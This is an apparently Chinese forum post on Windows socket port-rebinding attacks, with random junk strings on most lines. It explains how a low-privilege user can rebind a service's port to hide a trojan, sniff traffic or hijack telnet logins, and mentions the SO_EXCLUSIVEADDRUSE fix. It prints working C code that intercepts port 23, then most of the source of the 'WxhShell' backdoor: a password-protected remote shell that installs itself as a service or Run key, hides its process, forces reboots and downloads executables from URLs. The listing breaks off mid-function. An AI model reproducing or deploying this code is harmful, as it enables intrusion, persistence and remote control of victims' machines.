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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eIo7F m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3&/Ixm:  
veRm2 LSP  
  saddr.sin_family = AF_INET; h-D }'R  
9M9?%N:ra  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]cN1c}  
~= -RK$=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F3N6{ysK#  
BCcjK6'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h=%_Ao<x  
VQ{fne<  
  这意味着什么?意味着可以进行如下的攻击: +'@Dz9:>  
l$'wDhN*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EyLuO-5  
FEVlZ<PW3I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Wr5V`sM  
 {>%&(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z"4~P3>{g  
BX^tR1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ss e.*75U  
-)/$M(Pu"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -Vhw^T1iV  
}#E[vRf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =kqt   
:Lug7bUVD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  JSg$wi8  
hiw|2Y&`  
  #include pO.2<  
  #include 8h4'(yGQQW  
  #include uXq. ]ub  
  #include    gl_^V&c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4 N7^?  
  int main() eNu7~3k}  
  { OaZQ7BGq  
  WORD wVersionRequested; )tnh4WMh}  
  DWORD ret; * +wW(#[  
  WSADATA wsaData; a -moI+y  
  BOOL val; F.v{-8GV  
  SOCKADDR_IN saddr; L z1ME(  
  SOCKADDR_IN scaddr; UOmY-\ &c  
  int err; @oad,=R&  
  SOCKET s; UEVG0qF  
  SOCKET sc; 63~ E#Dt4  
  int caddsize; 9?3&?i2-  
  HANDLE mt; {$Gd2g O  
  DWORD tid;   c:u5\&~{  
  wVersionRequested = MAKEWORD( 2, 2 ); uL/m u<  
  err = WSAStartup( wVersionRequested, &wsaData ); )@'}\_a3[]  
  if ( err != 0 ) { C=4Qlt[`  
  printf("error!WSAStartup failed!\n"); ,<p}o\6  
  return -1; D{~fDRR  
  } U!Z,xx[]  
  saddr.sin_family = AF_INET; A$xF$l  
   iRi-cQVy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %-e 82J1  
~**.|%Kc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '-/xyAzS  
  saddr.sin_port = htons(23); -8rjgB~."/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xpx\=iAe  
  { A6iq[b]  
  printf("error!socket failed!\n"); 9,'ncw$/C  
  return -1; qXjxNrK  
  } Nm>A'bLM  
  val = TRUE; Sa`Xf\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v2;`f+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,T8~L#M~  
  { nmi|\mof  
  printf("error!setsockopt failed!\n"); e,XYVWY%  
  return -1; w~?~g<q  
  } xLZG:^(I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?_"ik[w}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t\j*}# S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E'.7xDN  
H_<C!OgR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Bv%GJ*>>  
  { @<]Ekkg  
  ret=GetLastError(); "4,?uPi  
  printf("error!bind failed!\n"); ">j j  
  return -1; {Wu$YWE*sx  
  } SrK<fAkx  
  listen(s,2); y e? 'Ze  
  while(1)  XJ5 .  
  { rkY[E(SY  
  caddsize = sizeof(scaddr); A;|D:;x3G  
  //接受连接请求 A1?2*W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;H.^i|_/  
  if(sc!=INVALID_SOCKET) ZH)="qx [  
  { JNUt$h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zeC RK+-  
  if(mt==NULL) @\P;W(m.i  
  { 6ez<g Uf  
  printf("Thread Creat Failed!\n"); M$8^91%4B  
  break; t=O8f5Pf{  
  } KC#q@InK  
  } 8rS:5:Hi  
  CloseHandle(mt); a1y-3 z  
  } } c }_<#I  
  closesocket(s); 5K?IDt7A]  
  WSACleanup(); *6F[t.Or  
  return 0; s1=G;  
  }   &<U0ZvrsH  
  DWORD WINAPI ClientThread(LPVOID lpParam) -FQ 'agf@&  
  { E5lBdM>2  
  SOCKET ss = (SOCKET)lpParam; /U)D5ot<  
  SOCKET sc;  *m,k(/>  
  unsigned char buf[4096]; _ T):G6C8  
  SOCKADDR_IN saddr; J 9iy  
  long num; VsE9H]v   
  DWORD val; s^uS1  
  DWORD ret; K]" #C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [ )dXIIM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j*jo@N |  
  saddr.sin_family = AF_INET; }\:Nu Tf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &_|#.  
  saddr.sin_port = htons(23); "#oHYz3D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zZ323pq  
  { ouFYvtFg  
  printf("error!socket failed!\n"); l +OFw)8od  
  return -1; &&:Y Vd  
  } !~D}/Q;#}\  
  val = 100; ,+{LYF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pjjewy1}^  
  {  Qq;Foa  
  ret = GetLastError(); CZI66pDy  
  return -1; %H&@^Tt a  
  } m~d]a$KQ5-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~`\?"s:  
  { =i*;VFc  
  ret = GetLastError(); ]4]6Qki  
  return -1; %)I{%~u0  
  } aV|hCN~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LS*y  
  { YLv'43PL  
  printf("error!socket connect failed!\n"); es&vMY  
  closesocket(sc); |O9 O )o  
  closesocket(ss); O-I[igNl  
  return -1; f;gw"onx8F  
  } 9-DZU,`P  
  while(1) A.F738Zp{Z  
  { ?ztkE62t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dCk3;XU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n}G|/v<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JYd 'Jp8bP  
  num = recv(ss,buf,4096,0); 6ne7]R Y  
  if(num>0) 78# v  
  send(sc,buf,num,0); R$TB1w9]  
  else if(num==0) QpA/SmJ  
  break; k!HK 97qA  
  num = recv(sc,buf,4096,0); )ZqTwEr@[  
  if(num>0) t@N=kV  
  send(ss,buf,num,0); @u]rWVy;\[  
  else if(num==0) \$e)*9)  
  break; Xudg2t)+K  
  } DYxCQ D  
  closesocket(ss); [@b&? b~K  
  closesocket(sc); v+`N*\J_  
  return 0 ; pDIVZC  
  } u TK,&  
uPG4V2  
2fR02={-  
========================================================== Md2>3-  
khrb-IY@  
下边附上一个代码,,WXhSHELL DB:+E|vSD  
/.MN  
========================================================== ;1.,Sn+zO  
_Khc3Jo  
#include "stdafx.h" 87P>IO  
U\;6mK)M^J  
#include <stdio.h> )oPLl|=h  
#include <string.h> J )~L   
#include <windows.h> $yYO_ZBiy  
#include <winsock2.h> db6b-Y{   
#include <winsvc.h> (Cd\G=PK  
#include <urlmon.h> J/GSceHF  
$[&*Bj11Yg  
#pragma comment (lib, "Ws2_32.lib") 9qz6]-K  
#pragma comment (lib, "urlmon.lib") a]/>ra5{  
I@%t.%O Jp  
#define MAX_USER   100 // 最大客户端连接数 >JCM.I0_|  
#define BUF_SOCK   200 // sock buffer 3`.7<f`  
#define KEY_BUFF   255 // 输入 buffer 2.zsCu4lj.  
7-T{a<g  
#define REBOOT     0   // 重启 A1#%`^W9  
#define SHUTDOWN   1   // 关机 #+5pgD2C  
x`mN U  
#define DEF_PORT   5000 // 监听端口 {{MRELipW  
DRgTe&+  
#define REG_LEN     16   // 注册表键长度 dhr3,&+T2  
#define SVC_LEN     80   // NT服务名长度 CS-uNG6  
ac.Ms(D  
// 从dll定义API pxf$ 1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W"'iIh)z `  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !l 1fIc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F\k+[`%{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \\7ZWp\fN  
^8Q62  
// wxhshell配置信息 J<maQ6p  
struct WSCFG { )'%$V%9  
  int ws_port;         // 监听端口 $UCAhG$  
  char ws_passstr[REG_LEN]; // 口令 \lC   
  int ws_autoins;       // 安装标记, 1=yes 0=no d'$T4yA  
  char ws_regname[REG_LEN]; // 注册表键名 Z->p1xkX  
  char ws_svcname[REG_LEN]; // 服务名 *B{j.{ p(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C@W"yYt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,o,I5>`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ICkp$u^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ``e$AS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *nsAgGKKM^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oDYRQozo>  
GBFtr   
}; [7S} g  
dW~*e2nq  
// default Wxhshell configuration i35=Y~P-  
struct WSCFG wscfg={DEF_PORT, o1Q7Th  
    "xuhuanlingzhe", a|=x5`h04~  
    1, `poE6\  
    "Wxhshell", zs*L~_K  
    "Wxhshell", (RZD'U/B  
            "WxhShell Service", ,gOOiB }  
    "Wrsky Windows CmdShell Service", sWblFvHqrU  
    "Please Input Your Password: ", @kU@N?5e  
  1, bk^TFE1l  
  "http://www.wrsky.com/wxhshell.exe", J6G(_(d  
  "Wxhshell.exe" )Ocl=H|=  
    }; Gz[fG  
G\Ro}5TO  
// 消息定义模块 Bw64  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H0SQ"?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]U7KLUY>:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ] Ww?QhJ  
char *msg_ws_ext="\n\rExit."; ?6jkI2w  
char *msg_ws_end="\n\rQuit."; K/=_b<  
char *msg_ws_boot="\n\rReboot..."; qt^T6+faaQ  
char *msg_ws_poff="\n\rShutdown..."; ZMLg;-T.&4  
char *msg_ws_down="\n\rSave to "; 5-0{+R5v  
jSuL5|Gui  
char *msg_ws_err="\n\rErr!"; e|D ;OM  
char *msg_ws_ok="\n\rOK!"; mL`5u f  
Eb>78k(3I)  
char ExeFile[MAX_PATH]; z7Eg5rm|QZ  
int nUser = 0; !G}+E2fDA  
HANDLE handles[MAX_USER]; 6 ]pX>Xho  
int OsIsNt; Y.U[wL>  
D<X.\})Md  
SERVICE_STATUS       serviceStatus; D"ehWLj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xy &uZ  
zyg  }F  
// 函数声明 { TRsd  
int Install(void); z)=+ F]  
int Uninstall(void); XNb ZNaAd  
int DownloadFile(char *sURL, SOCKET wsh); ,qrQ"r9  
int Boot(int flag); GS Q/NYK  
void HideProc(void); u% n*gcY  
int GetOsVer(void); /?1nHBYPM  
int Wxhshell(SOCKET wsl); dwv6;x  
void TalkWithClient(void *cs); qTo-pA G`  
int CmdShell(SOCKET sock); ;h" P{fF   
int StartFromService(void); z.VyRBi0  
int StartWxhshell(LPSTR lpCmdLine); >ap1"n9k  
R$Tp8G>j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); { F};n?'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #I3$3^0i#  
S#Sb]  
// 数据结构和表定义 \7 NpT}dj  
SERVICE_TABLE_ENTRY DispatchTable[] = U(;&(W"M  
{ aCxE5$~$  
{wscfg.ws_svcname, NTServiceMain}, @*DyZB  
{NULL, NULL} \ y{Tn@7  
}; 'EfR|7m  
4r0b)Y &I  
// 自我安装 k8uvNLA)a  
int Install(void) {E0z@D)U-  
{ LW:LFzp  
  char svExeFile[MAX_PATH]; j]m|7]  
  HKEY key; ed_FiQd  
  strcpy(svExeFile,ExeFile); zb Z4|_  
'vaLUy9]  
// 如果是win9x系统,修改注册表设为自启动 .pvV1JA'  
if(!OsIsNt) { RTu4@7XP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wt9Q;hK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T}=>C+3r  
  RegCloseKey(key); a9?y`{%L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FsGlJ   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^p/Ob'!  
  RegCloseKey(key); !!nuAQ"E[  
  return 0; h<\_XJJ  
    } H<G4O02i_  
  } 3o|I[!2.  
} ,mL !(US  
else { k%op> &  
<JwX_\?ln  
// 如果是NT以上系统,安装为系统服务 !;!~n`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $CE[MZ&S  
if (schSCManager!=0) `g1iCF  
{ Y05P'Q  
  SC_HANDLE schService = CreateService cbu@*NzY,  
  ( *VkgQ`c  
  schSCManager, '2-oh  
  wscfg.ws_svcname, 5I@w~z  
  wscfg.ws_svcdisp, 6k/U3&R  
  SERVICE_ALL_ACCESS, DK&h eVIoZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PSmfiaThwo  
  SERVICE_AUTO_START, 0G2g4DSKD  
  SERVICE_ERROR_NORMAL, Zf>^4_x3P  
  svExeFile, KYxBVgJ  
  NULL, @i3bgx>_o  
  NULL, 9r2IuS0  
  NULL, i o3yLIy,  
  NULL, *+b6B_u]  
  NULL 5Y3i|cj  
  ); -sMytHH.  
  if (schService!=0) tB' V  
  { f0LP?]  
  CloseServiceHandle(schService); y9|K|xO[  
  CloseServiceHandle(schSCManager); S-nlr@w8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :9|W#d{o  
  strcat(svExeFile,wscfg.ws_svcname); g3%t8O/M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ro[Y-o5Q0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fequm+  
  RegCloseKey(key); h !(>7/Gi  
  return 0; zK+52jhi  
    } TjBY 4  
  } <[/%{sUNC  
  CloseServiceHandle(schSCManager); [ &qA\  
} +"g~"<  
} sF+=KH  
7a$ G@  
return 1; b( ^^m:(w  
} 2_t=P|Uo  
9(!]NNf!  
// 自我卸载 -6Mm#sX  
int Uninstall(void) B )JM%r  
{ k 2%S`/:  
  HKEY key; G8Y+w  
cxYfZ4++m  
if(!OsIsNt) { %:qoV0DR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @)8]e S7  
  RegDeleteValue(key,wscfg.ws_regname); 7CB#YP?E  
  RegCloseKey(key); =qvZpB7ZZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w h$jr{  
  RegDeleteValue(key,wscfg.ws_regname); '7im  
  RegCloseKey(key); dy>|c j  
  return 0; n!He&  
  } RX2{g^V7  
} pD@zmCU  
} fH8!YQG8$  
else { &VWlt2-R0h  
Ld|V^9h1;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~L+]n0*  
if (schSCManager!=0) g9my=gY  
{ 4rU! 4l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G7* h{nE  
  if (schService!=0) em]xtya  
  { &4$oudn  
  if(DeleteService(schService)!=0) { v&MU=Tcqi  
  CloseServiceHandle(schService); r5/R5Ga^  
  CloseServiceHandle(schSCManager); c~dM`2J,  
  return 0; tO.$+4a  
  } emA!Ew(g  
  CloseServiceHandle(schService); (5uJZ!m  
  } $X+u={]  
  CloseServiceHandle(schSCManager); u:` y]  
} g3?U#7i  
} ? 4)v`*  
r[Zq3  
return 1; S9Yt1qb  
} 3#<* k>1G?  
/ axTh  
// 从指定url下载文件 QlW=_Ymv{  
int DownloadFile(char *sURL, SOCKET wsh) <kD#SV%"  
{ ]i8c\UV\  
  HRESULT hr; `!w^0kZ  
char seps[]= "/"; 8t .dPy<  
char *token; Kv+Bfh  
char *file; xKJ>gr"w#  
char myURL[MAX_PATH]; @5}gsC  
char myFILE[MAX_PATH]; S@:B6](D$  
U 0ZB^`  
strcpy(myURL,sURL); :LV.G0)#  
  token=strtok(myURL,seps); <Ns &b.\h6  
  while(token!=NULL) >v0:qN7|  
  { Uk-HP\C"7  
    file=token; BGjb`U#%3  
  token=strtok(NULL,seps); ZxS&4>.  
  } 3DoRE2}  
~/`X*n&  
GetCurrentDirectory(MAX_PATH,myFILE);  ?B4#f!X  
strcat(myFILE, "\\"); (Imp $  
strcat(myFILE, file); IG / $!* E  
  send(wsh,myFILE,strlen(myFILE),0); M<qudi  
send(wsh,"...",3,0); FpkXOj?*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U7%28#@  
  if(hr==S_OK) 4=p@2g2"H  
return 0; }#b %"I0  
else Y5jYmP<  
return 1; If}lJ6jZ  
;1LG&h,K  
} KP~-$NR  
!.+"4TF  
// 系统电源模块 J`Oy.Qu)  
int Boot(int flag) =FBIrw{w  
{ 6f}e+80  
  HANDLE hToken; |R'i:=  
  TOKEN_PRIVILEGES tkp; ]M4NpU M  
~Ob8i1S>  
  if(OsIsNt) { :k1$g+(lP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z! YpklZ?~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4 10:%WGc  
    tkp.PrivilegeCount = 1; ULvVD6RQ47  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #O</\|aH)i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !s-/0ugZ  
if(flag==REBOOT) { w<d*#$[,*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &`PbO  
  return 0; j+1KNH  
} YkbO&~.  
else { DM2Q1Dh3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YZ[%uArm  
  return 0; R|t;p!T  
} #,P(isEZ"  
  } Gj`f--2GE  
  else { Ve14rn  
if(flag==REBOOT) { kGD|c=K}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mG}k 3e-  
  return 0; /;+,mp4  
} :GM#&*$2<  
else { @9_)On9hZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]7F)bIG[  
  return 0; ZW* fOaj  
} lS3 _Ild  
} )@c3##Zp)  
NS 5 49S  
return 1; |Qu_E  
} `Xqy  
@}G|R\2P  
// win9x进程隐藏模块 ;qT5faKB3J  
void HideProc(void) `GkRmv*  
{ M+UMR+K  
kh&_#,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e3rfXhp  
  if ( hKernel != NULL ) S&|VkZR)  
  { td/5Bmj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nCB[4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 36i_D6  
    FreeLibrary(hKernel); ]n1D1  
  } 7xR|_+%~K  
Fc{((x s  
return; J=L`]XE  
} GG>Y/;^  
A[RN-R,  
// 获取操作系统版本 eH `t \n  
int GetOsVer(void) %o-jwr}O{  
{ T`mEO\f  
  OSVERSIONINFO winfo; 7 FIFSt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,^!Zm^4,  
  GetVersionEx(&winfo); />!!ch  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9rWLE6 `  
  return 1; Znq(R8BMW  
  else )x9]xqoR  
  return 0; iDR6?fP  
} oP,RlR  
Ebbe=4  
// 客户端句柄模块 ^~*8 @v""  
int Wxhshell(SOCKET wsl) Wb'*lT0=  
{ o5V`'[c  
  SOCKET wsh; g` kZ T} h  
  struct sockaddr_in client; gx#J%k,f  
  DWORD myID; :X|AW?*  
AYYRxhv_,  
  while(nUser<MAX_USER) .^GFy   
{ TwwIt5_fN  
  int nSize=sizeof(client); 1+FYjh!2t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @p"NJx"  
  if(wsh==INVALID_SOCKET) return 1; hF9B?@n?B  
1 S^'C2/b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,^M]yr*~  
if(handles[nUser]==0) Q{`@ G"'  
  closesocket(wsh); `lvh\[3^  
else s V&`0N  
  nUser++; &8juS,b  
  } 78^Y;2 P]W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4=UI3 2v3  
w8U2y/:>  
  return 0; <xC: Ant  
} Fv;u1Atiw  
vFR 1UPF  
// 关闭 socket 4g S[D  
void CloseIt(SOCKET wsh) 7!mJhgGc  
{ 9c:5t'Qt5.  
closesocket(wsh); I S.F  
nUser--; 4'_L W?DS  
ExitThread(0);  s"#CkG  
} .M}06,-  
]zX\8eHp!  
// 客户端请求句柄 M'b:B*>6  
void TalkWithClient(void *cs) ^v#+PyW  
{ kaV%0Of]  
}t}38%1i  
  SOCKET wsh=(SOCKET)cs; M2a}x+5'  
  char pwd[SVC_LEN]; dzpj9[  
  char cmd[KEY_BUFF]; ~igRg~k:/  
char chr[1]; _J +]SNk  
int i,j; EmYO5Whi  
_dz +2au  
  while (nUser < MAX_USER) { [p2g_bI8yK  
Q1K"%  
if(wscfg.ws_passstr) { B<rPvM7a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rrW! X q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Jh*a *I}  
  //ZeroMemory(pwd,KEY_BUFF); 'et(:}i  
      i=0; q`h7H][(A  
  while(i<SVC_LEN) { ry z /rf  
]cS&8{ ^2  
  // 设置超时 IQ o]9Lx  
  fd_set FdRead; =H L9Z  
  struct timeval TimeOut; iM4mkCdOO  
  FD_ZERO(&FdRead); 7^`RP e^a+  
  FD_SET(wsh,&FdRead); YAX #O\,  
  TimeOut.tv_sec=8; p, !1 3X  
  TimeOut.tv_usec=0; (Be$$W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R %Rv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N=hSqw[  
3`mC"a b /  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ::kpl2r\c  
  pwd=chr[0]; B'NS&7+].  
  if(chr[0]==0xd || chr[0]==0xa) { $z~jnc  
  pwd=0; M|$H+e } :  
  break; Y}85J:q]  
  } W^-hMT]uD  
  i++; hQ\#Fhu7  
    }  ]v/t8`  
39'X$!  
  // 如果是非法用户,关闭 socket 7)g;Wd+H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Iwnj'R7:  
} wOD/Z8  
X%RQB$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PEMxoe<+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |p'_k(z}  
lqhHbB  
while(1) { /5Gnb.zN)  
1uK)1%vK  
  ZeroMemory(cmd,KEY_BUFF); H57jBD  
l6r%nHP@  
      // 自动支持客户端 telnet标准   [N'r3  
  j=0; cL-6M^!a  
  while(j<KEY_BUFF) { .N?|t$J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E&}H\zt#  
  cmd[j]=chr[0]; $Ui]hA-:?y  
  if(chr[0]==0xa || chr[0]==0xd) { {jq^hM!TEy  
  cmd[j]=0; 9aW8wYL~b  
  break; R4hav  
  } 7Y|Wy Oq  
  j++; #g5't4zqx  
    } bEOOFs  
|DdW<IT`0  
  // 下载文件 .&aVx]  
  if(strstr(cmd,"http://")) { UHTb61Gs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~hxeD" w  
  if(DownloadFile(cmd,wsh)) C.DoXE7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V>~*]N^f  
  else q>Dr)x)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TXY  
  } AX!Md:s  
  else { /3xFd)|Ds  
7$E2/@f  
    switch(cmd[0]) { %3#b6m~  
  CNpCe-%&  
  // 帮助 A5(kOtgiT  
  case '?': { SLbavP#G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  |V*e2w  
    break; P,s)2s'nZ  
  } 6|>"0[4S  
  // 安装 si+5h6I.}  
  case 'i': { 55u^u F  
    if(Install()) 1tuator  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D*<8e?F  
    else dja9XWOg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \!? PhNv  
    break; dUBVp 9PB  
    } :$)aMEq  
  // 卸载 VH$\ a~|  
  case 'r': { R[2[[M  
    if(Uninstall()) $n_sGr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j[Hg]  
    else G5X|JTzpu<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EHE6 -^F  
    break; 3 8ls 4v3  
    } ]J0Y^dM  
  // 显示 wxhshell 所在路径 ]2u7?l  
  case 'p': { k -t,y|N  
    char svExeFile[MAX_PATH]; [jmAMF<F  
    strcpy(svExeFile,"\n\r"); g*\v}6 h  
      strcat(svExeFile,ExeFile); :W1tIB  
        send(wsh,svExeFile,strlen(svExeFile),0); Qcy+ {j]  
    break; ek_i{'hFd  
    } Jg?pW:}R  
  // 重启 Sd/d [  
  case 'b': { Vo58Nz:%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4'u|L&ow  
    if(Boot(REBOOT)) 'TEwU0<%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YP@ ?j  
    else { V0wC@?  
    closesocket(wsh); 4$#ia F  
    ExitThread(0); M KE[Yb?  
    } Kk"B501  
    break; TBLk+AR  
    } Q'V,?#  
  // 关机 ,L;c{[*rh  
  case 'd': { .bl/At3A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !&:.Uh  
